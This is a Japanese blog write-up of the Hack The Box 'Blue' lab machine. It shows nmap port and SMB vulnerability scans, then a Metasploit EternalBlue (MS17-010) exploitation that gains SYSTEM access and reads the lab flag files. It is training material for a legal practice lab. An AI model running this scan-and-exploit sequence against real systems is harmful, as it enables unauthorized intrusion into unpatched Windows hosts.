1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

hackthebox Blue

Posted at

0.はじめに

hacktheboxのBlue攻略方法です。
始めてhacktheboxに取り組むならいい題材かと思います。
nmap、Metasploitがどんな感じなのかというのを体験できるはずです。

1.nmapでポートスキャン

nmap -sT 10.10.10.40

image.png

②ポートの詳細を確認
135、139、445についてポートの詳細を確認してみます。

nmap -sC -sV -sT -p 135,139,445 10.10.10.40

image.png
445ポート(SMB)の確認結果から以下がわかります。
OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
→やけに古いOSが出て来るので脆弱性がないか調べてみます。

2.脆弱性の調査

①SMB(445ポート)の脆弱性がないかnmapで引き続き確認

nmap -sT -p 445 10.10.10.40 -script=smb-vuln*

image.png
確認結果から以下の脆弱性が判明
Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
IDs: CVE:CVE-2017-0143

3.ターゲットへの侵入

①Metasploitの起動

msfconsole -q

image.png

「-q」オプションを付けないとバナーやバージョン情報が出力されます。

msfconsole

image.png

②Metasploit内に「ms17-010」のモジュールがないか検索

search ms17-010

image.png
(途中省略)
image.png

沢山ヒットしましたが今回はターゲットがWindows7であることから
「exploit/windows/smb/ms17_010_eternalblue _ target: Windows 7」を使用します。

③モジュールの選択
「exploit/windows/smb/ms17_010_eternalblue _ target: Windows 7」は今回の検索結果だと「2」なので以下のように指定

use 2

image.png

④オプション項目確認

show options

image.png
今回はRHOST(ターゲット)、LHOST(自端末)を設定します。

⑤オプション項目確認

set rhosts 10.10.10.40
set lhost 10.10.16.8
show options

image.png

lhostは自端末上で「ifconfig」などで確認してください。

ifconfig

image.png

⑥モジュールの実行

run

image.png

4.ターゲットへの侵入後の調査

①Metasploitシェルの情報を確認

getsystem
sysinfo
getuid

image.png
getuidの実行結果が「Server username: NT AUTHORITY\SYSTEM」なので既にこのターゲット上では何でも出来る状態です。

これらのコマンドについてはhelpコマンドを使うことで説明を確認できます。

help

image.png
(途中省略)
image.png

②ユーザフラグの取得

cd C:/Users
dir

image.png
一般ユーザにはharisユーザがいると判明します。
→このユーザのデスクトップにユーザフラグがあるはずなので確認します。

cd haris/Desktop
dir
cat user.txt

image.png

windowsがターゲットの場合、フラグファイルは各ユーザのデスクトップにあります。
ユーザフラグ
c:/Users/xxx/Desktop/user.txt
ルートフラグ
c:/Users/Administrator/Desktop/root.txt

③ルートフラグの取得

cd C:/Users/Administrator/Desktop
dir
cat root.txt

image.png

5.おわりに

あんまり普段は意識して使わないnmapのscriptオプションを使ってみました。
複雑じゃない題材なので積極的色々な機能を試してほしいです。

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?